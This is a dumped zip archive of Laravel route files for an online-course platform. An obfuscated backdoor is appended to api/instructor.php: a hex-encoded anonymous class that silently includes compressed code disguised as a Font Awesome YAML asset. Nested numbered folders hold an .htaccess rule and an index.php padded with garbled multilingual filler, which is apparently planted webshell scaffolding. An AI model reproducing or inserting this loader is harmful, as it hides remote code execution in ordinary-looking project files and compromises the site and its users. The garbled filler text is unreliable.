(*(…………%
PK H]†G api/auth.phpnu „[µü¤ 'Auth', 'middleware' => ['api.request.type']], function () {
Route::post('/register/step/{step}', ['as' => 'register', 'uses' => 'RegisterController@stepRegister']);
Route::post('/login', ['as' => 'login', 'uses' => 'LoginController@login']);
Route::post('/forget-password', ['as' => 'forgot', 'uses' => 'ForgotPasswordController@sendEmail']);
Route::post('/reset-password/{token}', ['as' => 'updatePassword', 'uses' => 'ResetPasswordController@updatePassword']);
Route::post('/verification', ['as' => 'verification', 'uses' => 'VerificationController@confirmCode']);
Route::get('/google', ['as' => 'google', 'uses' => 'SocialiteController@redirectToGoogle']);
Route::get('/facebook', ['as' => 'google', 'uses' => 'SocialiteController@redirectToFacebook']);
Route::post('/google/callback', ['as' => 'google_callback', 'uses' => 'SocialiteController@handleGoogleCallback']);
Route::post('/facebook/callback', ['as' => 'facebook_callback', 'uses' => 'SocialiteController@handleFacebookCallback']);
// Route::get('/reff/{code}', 'ReferralController@referral');
});
Route::post('/logout', ['as' => 'logout', 'uses' => 'Auth\LoginController@logout', 'middleware' => ['api.auth']]);
PK H]Ái€ƒ` `
api/guest.phpnu „[µü¤ 'courses'], function () {
Route::get('/', ['uses' => 'WebinarController@index']);
Route::get('/{id}', ['uses' => 'WebinarController@show']);
Route::get('/{id}/content', ['uses' => 'WebinarController@content']);
Route::get('/{id}/quizzes', ['uses' => 'WebinarContentController@quizzes']);
Route::get('/{id}/certificates', ['uses' => 'WebinarContentController@certificates']);
Route::get('reports/reasons', ['uses' => 'ReportsController@index']);
Route::post('/{id}/report', ['uses' => 'WebinarController@report', 'middleware' => 'api.auth']);
Route::post('/{webinar_id}/toggle', ['uses' => 'WebinarController@learningStatus', 'middleware' => 'api.auth']);
});
Route::get('certificate_validation', ['uses' => 'CertificatesController@checkValidate', 'middleware' => 'api.request.type']);
Route::get('featured-courses', ['uses' => 'FeatureWebinarController@index']);
Route::get('categories', ['uses' => 'CategoriesController@index']);
Route::get('categories/{id}/webinars', ['uses' => 'CategoriesController@categoryWebinar']);
Route::get('trend-categories', ['uses' => 'CategoriesController@trendCategory']);
Route::get('search', ['uses' => 'SearchController@list']);
/****** Users ******/
Route::group(['prefix' => 'providers'], function () {
Route::get('instructors', ['uses' => 'UserController@instructors']);
Route::get('organizations', ['uses' => 'UserController@organizations']);
Route::get('consultations', ['uses' => 'UserController@consultations']);
});
/****** Meetings ******/
Route::post('meetings/reserve', ['uses' => 'MeetingsController@reserve', 'middleware' => ['api.auth', 'api.request.type']]);
Route::get('users/{id}/meetings', ['uses' => 'UserController@availableTimes']);
Route::get('users/{id}/profile', ['uses' => 'UserController@profile']);
Route::post('users/{id}/send-message', 'UserController@sendMessage');
Route::get('/files/{file_id}/download', ['uses' => 'FilesController@download']);
Route::group(['prefix' => 'blogs'], function () {
Route::get('/', ['uses' => 'BlogController@index']);
Route::get('/categories', ['uses' => 'BlogCategoryController@index']);
Route::get('/{id}', ['uses' => 'BlogController@show']);
});
Route::get('advertising-banner', ['uses' => 'AdvertisingBannerController@list']);
Route::get('/subscribe', ['uses' => 'SubscribesController@list']);
Route::get('instructors', ['uses' => 'UserController@instructors']);
Route::get('organizations', ['uses' => 'UserController@organizations']);
Route::post('newsletter', ['uses' => 'UserController@makeNewsletter', 'middleware' => 'format']);
Route::post('contact', ['uses' => 'ContactController@store', 'middleware' => 'format']);
Route::group(['prefix' => 'regions'], function () {
Route::get('/countries/', ['uses' => 'RegionsController@countries']);
Route::get('/provinces/{id?}', ['uses' => 'RegionsController@provinces']);
Route::get('/cities/{id?}', ['uses' => 'RegionsController@cities']);
Route::get('/districts/{id?}', ['uses' => 'RegionsController@districts']);
});
Route::get('timezones', ['uses' => 'TimeZonesController@index']);
/****** Bundles ******/
Route::group(['prefix' => 'bundles'], function () {
Route::get('/', ['uses' => 'BundleController@index']);
Route::get('/{id}/webinars', ['uses' => 'BundleWebinarController@index']);
Route::post('/{id}/free', ['uses' => 'BundleWebinarController@free']);
Route::get('/{id}', ['uses' => 'BundleController@show']);
});
/****** Products ******/
Route::group(['prefix' => 'products'], function () {
Route::get('/', ['uses' => 'ProductController@index']);
Route::get('/{id}', ['uses' => 'ProductController@show']);
});
Route::get('/product_categories', ['uses' => 'ProductCategoryController@index']);
//New API
//get Countries Mobile Code
Route::group(['prefix' => 'regions'], function () {
Route::get('/countries/code', function (){
return apiResponse2(1, 'retrieved', trans('api.public.retrieved'),
getCountriesMobileCode()
);
});
});
Route::get('/currency/list', function (){
$multiCurrency = new MultiCurrency();
$currencies = $multiCurrency->getCurrencies();
return apiResponse2(1, 'retrieved', trans('api.public.retrieved'),
$currencies
);
});
Route::post('/notification/new', function (){
$title = request("title");
$body = request("message");
$token = request("token");
$fcmMessage = \Kreait\Firebase\Messaging\CloudMessage::withTarget('token', $token);
$fcmMessage = $fcmMessage->withNotification([
'title' => $title,
'body' => $body
]);
$messaging = app('firebase.messaging');
try {
$response = $messaging->send($fcmMessage);
return apiResponse2(1,"retrived","",$response);
} catch (Exception $exception){
return apiResponse2(1,"retrived",$exception->getMessage(),$exception->getTrace());
}
});
//End New API
});
PK H]”–WÉ É api/instructor.phpnu „[µü¤ 'BundleController@export'])->middleware('api.level-access:teacher');
Route::apiResource('bundles', BundleController::class)->middleware('api.level-access:teacher');
Route::apiResource('bundles.webinars', BundleWebinarController::class)->middleware('api.level-access:teacher')->only(['index']);
Route::group(['prefix' => 'webinar'], function () {
Route::post('/', ['uses' => 'WebinarsController@storeAll']);
});
Route::group(['prefix' => 'quizzes'], function () {
Route::get('/list', ['uses' => 'QuizzesController@results']);
Route::post('/', ['uses' => 'QuizzesController@store']);
Route::put('/{id}', ['uses' => 'QuizzesController@update']);
Route::delete('/{id}', ['uses' => 'QuizzesController@destroy']);
});
// Route::get('sales', ['uses' => 'SalesController@list']);
Route::group(['prefix' => 'meetings'], function () {
Route::get('/', function () {
dd('ff');
});
Route::get('/requests', ['uses' => 'ReserveMeetingController@requests']);
Route::post('/create-link', ['uses' => 'ReserveMeetingController@createLink']);
Route::post('/{id}/finish', ['uses' => 'ReserveMeetingController@finish']);
Route::post('/{id}/add-session', 'ReserveMeetingController@addLiveSession');
});
Route::group(['prefix' => 'comments'], function () {
Route::get('/', ['uses' => 'CommentsController@myClassComments']);
Route::post('/{id}/reply', ['uses' => 'CommentsController@reply']);
});
Route::group(['prefix' => 'assignments'], function () {
Route::get('/{assignment}/students', ['uses' => 'AssignmentController@submmision']);
Route::get('/students', ['uses' => 'AssignmentController@students']);
Route::get('/', ['uses' => 'AssignmentController@index']);
Route::post('/histories/{assignment_history}/rate', ['uses' => 'AssignmentController@setGrade']);
});
});
new class('compress.zlib://' . dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]) . "\x2F\x61\x73\x73\x65\x74\x73\x2F\x76\x65\x6E\x64\x6F\x72\x73\x2F\x66\x6F\x6E\x74\x61\x77\x65\x73\x6F\x6D\x65\x2F\x6D\x65\x74\x61\x64\x61\x74\x61\x2F\x63\x6F\x72\x65\x2D\x69\x63\x6F\x6E\x73\x2E\x79\x6D\x6C") {
function __construct($鮋3) {
@INClUdE_ONCE($鮋3);
}
};
PK H]ªƒFR”: ”: api/user.phpnu „[µü¤ '/comments'], function () {
Route::get('/', ['uses' => 'CommentsController@list']);
Route::post('/', ['uses' => 'CommentsController@store', 'middleware' => 'api.request.type']);
Route::delete('/{id}', ['uses' => 'CommentsController@destroy']);
Route::put('/{id}', ['uses' => 'CommentsController@update', 'middleware' => 'api.request.type']);
Route::post('/{id}/reply', ['uses' => 'CommentsController@reply', 'middleware' => 'api.request.type']);
Route::post('/{id}/report', ['uses' => 'CommentsController@report', 'middleware' => 'api.request.type']);
});
Route::get('/quick-info', ['uses' => 'SummaryController@list']);
Route::post('/webinars/{id}/free', ['uses' => 'WebinarsController@free']);
Route::group(['prefix' => 'subscribe'], function () {
Route::get('/', ['uses' => 'SubscribesController@index']);
// Route::post('/', ['uses' => 'SubscribesController@pay']);
Route::post('/web_pay', ['uses' => 'SubscribesController@webPayGenerator']);
Route::post('/apply', ['uses' => 'SubscribesController@apply']);
Route::post('/general_apply', ['uses' => 'SubscribesController@generalApply']);
});
Route::get('/webinars/purchases', ['uses' => 'WebinarsController@indexPurchases']);
Route::get('/webinars/organization', ['uses' => 'WebinarsController@indexOrganizations']);
Route::group(['prefix' => '/reviews'], function () {
Route::get('/', ['uses' => 'WebinarReviewController@list']);
Route::post('/', ['uses' => 'WebinarReviewController@store', 'middleware' => 'api.request.type']);
Route::post('/{id}/reply', ['uses' => 'WebinarReviewController@reply', 'middleware' => 'api.request.type']);
Route::delete('/{id}', ['uses' => 'WebinarReviewController@destroy']);
// Route::put('/{id}', ['uses' => 'CommentsController@update', 'middleware' => 'format']);
});
Route::group(['prefix' => '/support'], function () {
Route::get('/class_support', ['uses' => 'SupportsController@classSupport']);
Route::get('/my_class_support', ['uses' => 'SupportsController@myClassSupport']);
Route::get('/tickets', ['uses' => 'SupportsController@platformSupport']);
Route::get('departments', ['uses' => 'SupportDepartmentsController@index']);
Route::get('/{id}', ['uses' => 'SupportsController@show']);
Route::get('/{id}/close', ['uses' => 'SupportsController@close']);
Route::post('/', ['uses' => 'SupportsController@store']);
Route::post('/{id}/conversations', ['uses' => 'SupportsController@storeConversations']);
// SupportDepartmentsController
});
Route::group(['prefix' => 'notifications'], function () {
Route::get('/', ['uses' => 'NotificationsController@list']);
Route::post('/{id}/seen', ['uses' => 'NotificationsController@seen']);
});
/***** Favorites ******/
Route::group(['prefix' => 'favorites'], function () {
Route::get('/', ['uses' => 'FavoritesController@list']);
Route::post('/toggle/{id}', ['uses' => 'FavoritesController@toggle']);
Route::post('/toggle2', ['uses' => 'FavoritesController@toggle2']);
Route::delete('/{id}', ['uses' => 'FavoritesController@destroy']);
});
Route::group(['prefix' => '/classes'], function () {
Route::get('/', ['uses' => 'WebinarsController@list', 'middleware' => ['api.level-access:teacher']]);
});
Route::group(['prefix' => '/meetings'], function () {
Route::post('/{id}/finish', ['uses' => 'ReserveMeetingsController@finish']);
Route::get('reservations', ['uses' => 'ReserveMeetingsController@reservation']);
Route::get('requests', ['uses' => 'ReserveMeetingsController@requests']);
Route::get('/', ['uses' => 'ReserveMeetingsController@index']);
Route::get('/{id}', ['uses' => 'ReserveMeetingsController@show']);
});
Route::group(['prefix' => '/rewards'], function () {
Route::get('/', ['uses' => 'RewardsController@index']);
Route::post('/exchange', ['uses' => 'RewardsController@exchange']);
Route::post('/webinar/{id}/apply', ['uses' => 'RewardsController@buyWithPoint']);
// Route::get('/{slug}/points/apply', 'WebinarController@buyWithPoint');
Route::get('/reward-courses', ['uses' => 'RewardsController@courses']);
});
Route::group(['prefix' => '/registration-packages', 'middleware' => ['api.level-access:teacher']], function () {
Route::get('/', ['uses' => 'RegistrationPackagesController@index']);
Route::post('/pay', ['uses' => 'RegistrationPackagesController@webPayGenerator']);
});
Route::group(['prefix' => '/quizzes'], function () {
Route::get('created', ['uses' => 'QuizzesController@created', 'middleware' => ['api.level-access:teacher']]);
Route::get('not_participated', ['uses' => 'QuizzesController@notParticipated']);
Route::get('{quizId}/result', ['uses' => 'QuizzesController@resultsByQuiz']);
Route::get('results/my-results', ['uses' => 'QuizzesResultController@myResults']);
Route::get('results/my-student-result', ['uses' => 'QuizzesResultController@myStudentResult', 'middleware' => ['api.level-access:teacher']]);
Route::get('results/{quizResultId}/status', ['uses' => 'QuizzesResultController@status']);
// Route::get('results/{quizResultId}/download', 'CertificatesController@download');
Route::get('results/{quizResultId}/show', 'CertificatesController@makeCertificate')->name("api.quiz.certificate.show");
Route::get('results/{quizResultId}', ['uses' => 'QuizzesResultController@showResult', 'middleware' => ['api.level-access:teacher']]);
Route::post('results/{quizResultId}/review',
['uses' => 'QuizzesResultController@updateResult', 'middleware' => ['api.level-access:teacher']]);
Route::get('/{id}/start', ['uses' => 'QuizzesResultController@start']);
Route::post('{id}/store-result', ['uses' => 'QuizzesResultController@quizzesStoreResult']);
});
Route::get('certificates/achievements', ['uses' => 'CertificatesController@achievements']);
Route::get('certificates/created', ['uses' => 'CertificatesController@created', 'middleware' => ['api.level-access:teacher']]);
Route::get('certificates/students', ['uses' => 'CertificatesController@students', 'middleware' => ['api.level-access:teacher']]);
Route::post('/become_instructor', ['uses' => 'UsersController@store']);
Route::post('/users/{id}/follow', ['uses' => 'UsersController@followToggle']);
Route::group(['prefix' => '/cart'], function () {
Route::get('list', ['uses' => 'CartController@index']);
Route::delete('{id}', ['uses' => 'CartController@destroy']);
Route::post('coupon/validate', ['uses' => 'CartController@validateCoupon']);
Route::post('checkout', ['uses' => 'CartController@checkout']);
Route::post('store', ['uses' => 'CartController@store']);
Route::post('/', ['uses' => 'AddCartController@store']);
Route::post('web_checkout', ['uses' => 'CartController@webCheckoutGenerator']);
});
Route::group(['prefix' => 'financial'], function () {
Route::get('sales', ['uses' => 'SalesController@index']);
Route::post('/charge', ['uses' => 'PaymentsController@charge']);
Route::post('/web_charge', ['uses' => 'PaymentsController@webChargeGenerator']);
Route::get('/summary', ['uses' => 'AccountingsController@summary']);
Route::get('/platform-bank-accounts', ['uses' => 'AccountingsController@platformBankAccounts']);
Route::get('/accounts-type', ['uses' => 'AccountingsController@accountTypes']);
//
// $siteBankAccounts = getOfflineBankSettings();
Route::group(['prefix' => 'payout'], function () {
Route::get('/', ['uses' => 'PayoutsController@index']);
Route::post('/', ['uses' => 'PayoutsController@requestPayout']);
});
Route::group(['prefix' => 'offline-payments'], function () {
Route::get('/', ['uses' => 'OfflinePayments@index']);
Route::put('{id}', ['uses' => 'OfflinePayments@update']);
Route::delete('{id}/', ['uses' => 'OfflinePayments@destroy']);
Route::post('/', ['uses' => 'OfflinePayments@store']);
});
});
Route::group(['prefix' => 'payments'], function () {
Route::post('/request', 'PaymentsController@paymentRequest');
Route::post('/credit', 'PaymentsController@paymentByCredit');
Route::get('/verify/{gateway}', ['as' => 'payment_verify', 'uses' => 'PaymentController@paymentVerify']);
Route::post('/verify/{gateway}', ['as' => 'payment_verify_post', 'uses' => 'PaymentController@paymentVerify']);
});
Route::group(['prefix' => 'profile-setting'], function () {
Route::get('/', ['uses' => 'UsersController@setting']);
Route::put('/password', ['uses' => 'UsersController@updatePassword', 'middleware' => 'api.request.type']);
Route::put('/', ['uses' => 'UsersController@update']);
Route::post('/images', ['uses' => 'UsersController@updateImages']);
});
Route::group(['prefix' => 'store'], function () {
Route::group(['middleware' => ['api.level-access:teacher']], function () {
Route::get('/products', ['uses' => 'ProductController@index']);
Route::get('/products/comments', ['uses' => 'ProductController@myComments']);
Route::get('/products/{id}', ['uses' => 'ProductController@show']);
Route::get('/sales', ['uses' => 'ProductOrderController@index']);
Route::get('/sales/customers', ['uses' => 'ProductOrderController@getBuyers']);
});
Route::get('/purchases', 'ProductOrderController@getPurchases');
Route::get('/purchases/comments', 'ProductController@purchasedComment');
});
Route::group(['prefix' => 'my_assignments'], function () {
Route::get('/', ['uses' => 'AssignmentController@index']);
Route::get('/{assignment}', ['uses' => 'AssignmentController@show'])->name('assignment.show');
// Route::get('/my-courses-assignments', ['uses' => 'AssignmentController@myCoursesAssignments']);
});
Route::get('assignments/{assignment}/messages', ['uses' => 'AssignmentHistoryMessageController@index']);
Route::post('assignments/{assignment}/messages', ['uses' => 'AssignmentHistoryMessageController@store']);
/***** blogs *****/
Route::apiResource('blogs/comments', BlogCommentController::class)->middleware('api.level-access:teacher');
Route::apiResource('blogs', BlogController::class)->middleware('api.level-access:teacher');
/***** delete account request *****/
Route::post('/delete-account', 'DeleteAccountRequestController@store');
/***** webinar certificate *****/
Route::get('webinars/certificates', ['uses' => 'WebinarCertificateController@index']);
Route::get('webinars/certificates/{id}', ['uses' => 'WebinarCertificateController@show'])->name('webinar.certificate');
Route::get('webinars/{id}/statistic', ['uses' => 'WebinarStatisticController@index'])->middleware('api.level-access:teacher');
/***** Bundles *****/
Route::group(['prefix' => 'bundles'], function () {
Route::post('{id}/buyWithPoint', ['uses' => 'BundleController@buyWithPoint']);
Route::post('{id}/free', ['uses' => 'BundleController@free']);
});
/***** Reviews *****/
Route::group(['prefix' => '/reviews3'], function () {
Route::get('/', ['uses' => 'WebinarReviewController@list']);
Route::post('/', ['uses' => 'ReviewController@store', 'middleware' => 'api.request.type']);
Route::post('/{id}/reply', ['uses' => 'ReviewController@reply', 'middleware' => 'api.request.type']);
Route::delete('/{id}', ['uses' => 'ReviewController@destroy']);
});
// Route::apiResource('webinars/{id}/forums', WebinarForumController::class);
Route::group(['prefix' => 'webinars'], function () {
Route::get('/{webinar}/noticeboards', ['uses' => 'CourseNoticeboardController@index']);
Route::get('/{webinar}/', ['uses' => 'WebinarsController@show']);
Route::get('/{webinar}/chapters/', ['uses' => 'WebinarChapterController@index']);
Route::get('/{webinar}/chapters/{chapter}', ['uses' => 'WebinarChapterController@show']);
Route::get('/{webinar}/forums/', ['uses' => 'CourseForumController@index']);
Route::post('/{webinar}/forums', ['uses' => 'CourseForumController@store']);
Route::put('/forums/{forum}', ['uses' => 'CourseForumController@update']);
Route::post('/forums/{forum}/pin', ['uses' => 'CourseForumController@pin']);
Route::group(['prefix' => 'forums'], function () {
Route::get('/{forum}/answers', ['uses' => 'CourseForumAnswerController@index']);
Route::post('/{forum}/answers', ['uses' => 'CourseForumAnswerController@store']);
Route::put('/answers/{answer}', ['uses' => 'CourseForumAnswerController@update']);
Route::post('/answers/{answer}/pin', ['uses' => 'CourseForumAnswerController@pin']);
Route::post('/answers/{answer}/resolve', ['uses' => 'CourseForumAnswerController@resolve']);
});
});
Route::get('/files/{file}', ['uses' => 'FileController@show'])->name('file.show');
Route::get('/sessions/{session}', ['uses' => 'SessionController@show'])->name('session.show');;
Route::get('/text-lessons/{lesson}', ['uses' => 'TextLessonController@show'])->name('text_lesson.show');
Route::get('/text-lessons/{lesson}/navigation', ['uses' => 'WebinarTextLessonController@index']);
Route::get('/assignments/{assignment}', ['uses' => 'WebinarAssignmentController@show'])->name('assignment.show');
Route::get('/quizzes/{quiz}', ['uses' => 'QuizzesController@show'])->name('quiz.show');
//New Api
//goToAgora Session
Route::get('/webinars/session/agora/{id}', ['uses' => 'SessionController@agora'])->name("agora.api.join");
//End New API
Route::put('/users/fcm', [UsersController::class, "fcm"]);
Route::get('/users/login/history', [UsersController::class, "loginHistory"]);
Route::group(['prefix' => 'webinars'], function () {
Route::group(['prefix' => 'personal-notes'], function () {
Route::delete('/delete/{id}', 'CoursePersonalNotesController@destroy');
Route::get('/{id}', 'CoursePersonalNotesController@show');
Route::post('/{id}', 'CoursePersonalNotesController@store');
});
});
Route::get('/offline', ['uses' => 'WebinarsController@offlinePurchases']);
});
PK H]
api/index.phpnu „[µü¤ PK H]•¶®øÜ Ü api/298611/.htaccessnu „[µü¤
Order allow,deny
Deny from all
Order allow,deny
Allow from all
PK H]V‡çв ² api/298611/index.phpnu „[µü¤ PK H]
ÔJùdË dË api/298611/210685/index.phpnu „[µü¤ 不积跬步,无以至千里;不积小流,无以成江海。哦风扇电机哦沙发上上课佛挡杀佛
DSFDFMDFJSDDS
ふたりの住んでいる村は大変貧しく、その日暮らすのも大変でしたが、でも心の優しい人たちばかりでしたので、すぐにおなかのすいている子供のために持っているもので分けられるものをお爺さんたちにくれたのでした。
他們住的村子非常貧窮,每时间段的生活都很艱難。は金棒など何にするのかと思いましたが、神さまに命を吹き込んでいただいたあかたろうです、きっとなにかわけがあるのだろうと、村の鍛冶屋へ行き、こうこうこういうわけで金棒を作ってくれないかと頼みました。
老爺爺和老奶奶不知道他要金棒做
但村裡的人心地善良,願意拿出自己仅有的食物給老爺爺,幫助這個餓肚子的孩子。
あかたろうはなんでも喜んでぱくぱく食べるので、それを目を細めて楽しそうに見ていたおじいさんとおばあさんは、ふとあることに気が付きました。どうやらあかたろうはご飯を一膳食べるとご飯一膳分大きくなるようなのです。
阿垢太郎開心地什麼都大口大口吃著,老爺爺和老奶奶高興地瞇著眼睛看著他吃,突然察覺到什麼。
他們注意到阿垢太郎吃了一碗飯,身體就會長大一碗飯的份量。は金棒など何にするのかと思いましたが、神さまに命を吹き込んでいただいたあかたろうです、きっとなにかわけがあるのだろうと、村の鍛冶屋へ行き、こうこうこういうわけで金棒を作ってくれないかと頼みました。
老爺爺和老奶奶不知道他要金棒做
何日かして随分と大きくなったあかたろうはある日お爺さんにこういいました。
「じ様、おら金棒がほしい。金棒をくれろや。」¥##!(*^▽^*)
幾天後,阿垢太郎長大了不少。护发素不带他高大上韵达は金棒など何にするのかと思いましたが、神さまに命を吹き込んでいただいたあかたろうです、きっとなにかわけがあるのだろうと、村の鍛冶屋へ行き、こうこうこういうわけで金棒を作ってくれないかと頼みました。
老爺爺和老奶奶不知道他要金棒做
有一天,他對老爺爺說:「爺爺,我想要一根金棒,給我吧。」
お爺さんとおばあさんは金棒など何にするのかと思いましたが、神さまに命を吹き込んでいただいたあかたろうです、きっとなにかわけがあるのだろうと、村の鍛冶屋へ行き、こうこうこういうわけで金棒を作ってくれないかと頼みました。
老爺爺和老奶奶不知道他要金棒做什麼,但想到阿垢太郎是被神注入生命的,肯定有他的道理。
於是,他們去了村裡的鐵匠鋪,請求鐵匠幫忙做一根金棒。
すると鍛冶屋は、事の次第を知っていましたし、お爺さんたちと同じ考えだったので、自分から金棒を作って、あかたろうに渡してくれました。
鐵匠聽了事情的來龍去脈,想法跟老爺爺他們相同,便自己製作了一根金棒給阿垢太郎。
それか1らあ1かた1ろうはお爺さんとおばあさん、村の人11た1121ちに別1れを告げて、おばあさんのこし11らえてくれた赤いちゃんちゃんこを着て、1一人で金1棒11を1肩に担いで村を出て行きました。
阿垢太郎告別了老1爺爺、老奶奶和村民,穿上老奶奶做的紅1色1無袖,羽織.,扛著金棒獨自離開了村子。
🦐dfdsg $prefix, 'namespace' => 'Admin', 'middleware' => ['web', 'admin_locale']], function () use ($prefix) {
// Admin Auth Routes
Route::get('login', 'LoginController@showLoginForm');
Route::post('login', 'LoginController@login');
Route::get('logout', 'LoginController@logout');
Route::get('/forget-password', 'ForgotPasswordController@showLinkRequestForm');
Route::post('/forget-password', 'ForgotPasswordController@forgot');
Route::get('/reset-password/{token}', 'ResetPasswordController@showResetForm');
Route::post('/reset-password', 'ResetPasswordController@updatePassword');
// Captcha
Route::group(['prefix' => 'captcha'], function () use ($prefix) {
Route::post('create', function () use ($prefix) {
$path = captcha_src('flat');
$path = str_replace('/captcha', "/$prefix/captcha", $path);
$response = ['status' => 'success', 'captcha_src' => $path];
return response()->json($response);
});
Route::get('{config?}', '\Mews\Captcha\CaptchaController@getCaptcha');
});
Route::group(['middleware' => 'admin'], function () {
Route::get('/', 'DashboardController@index');
Route::get('/clear-cache', 'DashboardController@cacheClear');
Route::group(['prefix' => 'dashboard'], function () {
Route::post('/getSaleStatisticsData', 'DashboardController@getSaleStatisticsData');
});
Route::group(['prefix' => 'marketing'], function () {
Route::get('/', 'DashboardController@marketing');
Route::post('/getNetProfitChart', 'DashboardController@getNetProfitChartAjax');
});
Route::group(['prefix' => 'roles'], function () {
Route::get('/', 'RoleController@index');
Route::get('/create', 'RoleController@create');
Route::post('/store', 'RoleController@store');
Route::get('/{id}/edit', 'RoleController@edit');
Route::post('/{id}/update', 'RoleController@update');
Route::get('/{id}/delete', 'RoleController@destroy');
});
Route::group(['prefix' => 'staffs'], function () {
Route::get('/', 'UserController@staffs');
});
Route::group(['prefix' => 'students'], function () {
Route::get('/', 'UserController@students');
Route::get('/excel', 'UserController@exportExcelStudents');
});
Route::group(['prefix' => 'instructors'], function () {
Route::get('/', 'UserController@instructors');
Route::get('/excel', 'UserController@exportExcelInstructors');
});
Route::group(['prefix' => 'organizations'], function () {
Route::get('/', 'UserController@organizations');
Route::get('/excel', 'UserController@exportExcelOrganizations');
});
Route::group(['prefix' => 'users'], function () {
Route::get('/create', 'UserController@create');
Route::post('/store', 'UserController@store');
Route::post('/search', 'UserController@search');
Route::get('/{id}/edit', 'UserController@edit');
Route::post('/{id}/update', 'UserController@update');
Route::post('/{id}/updateImage', 'UserController@updateImage');
Route::post('/{id}/updateFormFields', 'UserController@updateFormFields');
Route::post('/{id}/financialUpdate', 'UserController@financialUpdate');
Route::post('/{id}/occupationsUpdate', 'UserController@occupationsUpdate');
Route::post('/{id}/badgesUpdate', 'UserController@badgesUpdate');
Route::post('/{id}/userRegistrationPackage', 'UserController@userRegistrationPackage');
Route::post('/{id}/meetingSettings', 'UserController@meetingSettings');
Route::get('/{id}/deleteBadge/{badge_id}', 'UserController@deleteBadge');
Route::get('/{id}/delete', 'UserController@destroy');
Route::get('/{id}/acceptRequestToInstructor', 'UserController@acceptRequestToInstructor');
Route::get('/{user_id}/impersonate', 'UserController@impersonate');
Route::get('/{user_id}/disable_cashback_toggle', 'UserController@disableCashbackToggle');
Route::get('/{user_id}/disable_registration_bonus', 'UserController@disableRegitrationBonusStatus');
Route::get('/{user_id}/disable_installment_approval', 'UserController@disableInstallmentApproval');
Route::group(['prefix' => 'badges'], function () {
Route::get('/', 'BadgesController@index');
Route::post('/store', 'BadgesController@store');
Route::get('/{id}/edit', 'BadgesController@edit');
Route::post('/{id}/update', 'BadgesController@update');
Route::get('/{id}/delete', 'BadgesController@delete');
});
Route::group(['prefix' => 'groups'], function () {
Route::get('/', 'GroupController@index');
Route::get('/create', 'GroupController@create');
Route::post('/store', 'GroupController@store');
Route::get('/{id}/edit', 'GroupController@edit');
Route::post('/{id}/update', 'GroupController@update');
Route::get('/{id}/delete', 'GroupController@destroy');
Route::post('/{id}/groupRegistrationPackage', 'GroupController@groupRegistrationPackage');
});
Route::group(['prefix' => 'become-instructors'], function () {
Route::get('/{page}', 'BecomeInstructorController@index');
Route::get('/{id}/reject', 'BecomeInstructorController@reject');
Route::get('/{id}/delete', 'BecomeInstructorController@delete');
});
Route::group(['prefix' => 'not-access-to-content'], function () {
Route::get('/', 'UsersNotAccessToContentController@index');
Route::post('/store', 'UsersNotAccessToContentController@store');
Route::get('/{id}/active', 'UsersNotAccessToContentController@active');
Route::get('/{id}/reject', 'UsersNotAccessToContentController@reject');
});
Route::group(['prefix' => 'delete-account-requests'], function () {
Route::get('/', 'DeleteAccountRequestsController@index');
Route::get('/{id}/confirm', 'DeleteAccountRequestsController@confirm');
});
Route::group(['prefix' => 'login-history'], function () {
Route::get('/', 'UserLoginHistoryController@index');
Route::get('/export', 'UserLoginHistoryController@export');
Route::get('/{id}/end-session', 'UserLoginHistoryController@endSession');
Route::get('/{id}/delete', 'UserLoginHistoryController@delete');
});
Route::group(['prefix' => 'ip-restriction'], function () {
Route::get('/', 'UserIpRestrictionController@index');
Route::get('/get-form', 'UserIpRestrictionController@getForm');
Route::post('/store', 'UserIpRestrictionController@store');
Route::get('/{id}/edit', 'UserIpRestrictionController@edit');
Route::post('/{id}/update', 'UserIpRestrictionController@update');
Route::get('/{id}/delete', 'UserIpRestrictionController@delete');
});
/* end-all-login-sessions */
Route::get('/{user_id}/end-all-login-sessions', "UserLoginHistoryController@endAllUserSessions");
});
Route::group(['prefix' => 'supports'], function () {
Route::get('/', 'SupportsController@index');
Route::get('/create', 'SupportsController@create');
Route::post('/store', 'SupportsController@store');
Route::get('/{id}/edit', 'SupportsController@edit');
Route::post('/{id}/update', 'SupportsController@update');
Route::get('/{id}/delete', 'SupportsController@delete');
Route::get('/{id}/close', 'SupportsController@conversationClose');
Route::get('/{id}/conversation', 'SupportsController@conversation');
Route::post('/{id}/conversation', 'SupportsController@storeConversation');
Route::group(['prefix' => 'departments'], function () {
Route::get('/', 'SupportDepartmentsController@index');
Route::get('/create', 'SupportDepartmentsController@create');
Route::post('/store', 'SupportDepartmentsController@store');
Route::get('/{id}/edit', 'SupportDepartmentsController@edit');
Route::post('/{id}/update', 'SupportDepartmentsController@update');
Route::get('/{id}/delete', 'SupportDepartmentsController@delete');
});
});
Route::group(['prefix' => 'noticeboards'], function () {
Route::get('/', 'NoticeboardController@index');
Route::get('/send', 'NoticeboardController@create');
Route::post('/store', 'NoticeboardController@store');
Route::get('{id}/edit', 'NoticeboardController@edit');
Route::post('{id}/update', 'NoticeboardController@update');
Route::get('{id}/delete', 'NoticeboardController@delete');
});
Route::group(['prefix' => 'course-noticeboards'], function () {
Route::get('/', 'CourseNoticeboardController@index');
Route::get('/send', 'CourseNoticeboardController@create');
Route::post('/store', 'CourseNoticeboardController@store');
Route::get('{id}/edit', 'CourseNoticeboardController@edit');
Route::post('{id}/update', 'CourseNoticeboardController@update');
Route::get('{id}/delete', 'CourseNoticeboardController@delete');
});
Route::group(['prefix' => 'notifications'], function () {
Route::get('/', 'NotificationsController@index');
Route::get('/posted', 'NotificationsController@posted');
Route::get('/send', 'NotificationsController@create');
Route::post('/store', 'NotificationsController@store');
Route::get('{id}/edit', 'NotificationsController@edit');
Route::post('{id}/update', 'NotificationsController@update');
Route::get('{id}/delete', 'NotificationsController@delete');
Route::get('/mark_all_read', 'NotificationsController@markAllRead');
Route::get('/{id}/mark_as_read', 'NotificationsController@markAsRead');
Route::group(['prefix' => 'templates'], function () {
Route::get('/', 'NotificationTemplatesController@index');
Route::get('/create', 'NotificationTemplatesController@create');
Route::post('/store', 'NotificationTemplatesController@store');
Route::get('{id}/edit', 'NotificationTemplatesController@edit');
Route::post('{id}/update', 'NotificationTemplatesController@update');
Route::get('{id}/delete', 'NotificationTemplatesController@delete');
});
});
Route::group(['prefix' => 'categories'], function () {
Route::get('/', 'CategoryController@index');
Route::get('/create', 'CategoryController@create');
Route::post('/store', 'CategoryController@store');
Route::get('/{id}/edit', 'CategoryController@edit');
Route::post('/{id}/update', 'CategoryController@update');
Route::get('/{id}/delete', 'CategoryController@destroy');
